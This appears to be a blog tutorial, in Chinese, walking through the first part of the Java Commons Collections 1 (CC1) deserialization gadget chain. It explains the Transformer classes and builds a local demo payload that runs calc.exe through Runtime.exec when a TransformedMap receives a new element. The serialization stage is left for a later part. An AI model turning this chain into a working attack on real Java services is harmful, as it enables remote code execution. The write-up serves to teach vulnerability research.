java安全之CC1淺學(1)

2022-11-10 06:01:01

前言

由於CC鏈還是比較複雜的,我們可以先看命令執行的部分payload之後再加上反序列化部分組成一個完整的payload

偵錯一

專案匯入依賴,這裡使用3.1版本

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

先來看看以下幾個類

Transformer

Transformer是⼀個接⼝,它只有⼀個待實現的⽅法

public interface Transformer {
    public Object transform(Object input);
}

TransformedMap在轉換Map的新元素時,就會調⽤transform⽅法,這個過程就類似在調⽤⼀個」回撥函數「,這個回撥的引數是原始物件

InvokerTransformer

InvokerTransformer是實現了Transformer接⼝的⼀個類,這個類可以⽤來執⾏任意⽅法,這也是反序列化能執⾏任意程式碼的關鍵。 在範例化這個InvokerTransformer時,需要傳⼊三個引數,第⼀個引數是待執⾏的⽅法名,第⼆個引數是這個函數的參數列的引數型別,第三個引數是傳給這個函數的參數列;

關鍵程式碼如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName; //函數名        
        this.iParamTypes = paramTypes; //函數引數的型別        
        this.iArgs = args;             //引數物件
}
   public Object transform(Object input) {
   Class cls = input.getClass();     //獲取input的類
   Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //呼叫方法
   return method.invoke(input, this.iArgs);              //執行
}

很清楚的可以看到,方法名方法所需的引數型別方法的引數,我們都可以控制,通過Java反射機制,我們可以構造一個命令執行:

public class Test {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        Transformer invoketransformer = new InvokerTransformer("exec",
                                        new Class[]{String.class},
                                        new Object[]{"calc.exe"});
        invoketransformer.transform(runtime);
    }
}

這就需要一個條件,在呼叫transform方法的時候,需要傳遞一個Runtime.getRuntime(),這幾乎是不可能的,沒有人會在反序列化後呼叫transform方法還傳遞一個Runtime的範例進去。我們需要把攻擊所需要的條件儘可能的縮小,實現在反序列化時就能夠rce,所以需要想辦法把傳遞Runtime.getRuntime()這一條件給去掉。接著就找到了ConstantTransformer這個類

ConstantTransformer

ConstantTransformer是實現了Transformer接⼝的⼀個類,它的過程就是在建構函式的時候傳⼊⼀個物件,並在transform⽅法將這個物件再返回:

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
    public Object transform(Object input) {
    return iConstant;
}

所以他的作⽤其實就是包裝任意⼀個物件,在執⾏回撥時返回這個物件,進⽽⽅便後續操作,那麼和上面的InvokerTransformer搭配一下

public class Test {
    public static void main(String[] args) throws Exception {
        Object constantTransformer= new ConstantTransformer(Runtime.getRuntime()).transform(123);
        Transformer invoketransformer = new InvokerTransformer("exec",
                                        new Class[]{String.class},
                                        new Object[]{"calc.exe"});
        invoketransformer.transform(constantTransformer);
    }
}

ChainedTransformer

ChainedTransformer也是實現了Transformer接⼝的⼀個類,它的作⽤是將內部的多個Transformer串在⼀起。其transform方法實現了對每個傳入的transformer都呼叫其transform方法,並將結果作為下一次的輸入傳遞進去。

ChainedTransformertransform函數如下

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
}

ChainedTransformer類的建構函式,其中iTransformers陣列是使用者自己定義的:

三個繼續搭配一下

public class Test {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"})
        });
        chain.transform(123);
    }
}

此時只要ChainedTransformer反序列化後呼叫transform方法並傳遞任意內容即可實現rce

TransformedMap

TransformedMap⽤於對Java標準資料結構Map做⼀個修飾,被修飾過的Map在新增新的元素時,將可以執⾏⼀個回撥。我們通過下⾯這⾏程式碼對innerMap進⾏修飾,傳出的outerMap即是修飾後的Map

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

其中,keyTransformer是處理新元素的Key的回撥,valueTransformer是處理新元素的value的回撥。 我們這⾥所說的」回撥「,並不是傳統意義上的⼀個回撥函數,⽽是⼀個實現了Transformer接⼝的類。也就是可以呼叫其他的tramsform,這一點很關鍵

payload

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"C:/Windows/System32/calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

首先建立了⼀個ChainedTransformer,其中包含兩個Transformer:第⼀個是ConstantTransformer, 直接返回當前環境的Runtime物件;第⼆個是InvokerTransformer,執⾏Runtime物件的exec⽅法,參 數是C:/Windows/System32/calc.exe 。 當然,這個transformerChain只是⼀系列回撥,我們需要⽤其來包裝innerMap,使⽤的前⾯說到的 TransformedMap.decorate

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);

最後,怎麼觸發回撥呢?就是向Map中放⼊⼀個新的元素:

outerMap.put("test", "xxxx");

小結

到這兒,總算是有點思緒,當然,上⾯的程式碼執⾏demo,它只是⼀個⽤來在本地測試的類。在實際反序列化漏洞中,我們需要將上⾯最終⽣成的outerMap物件變成⼀個序列化流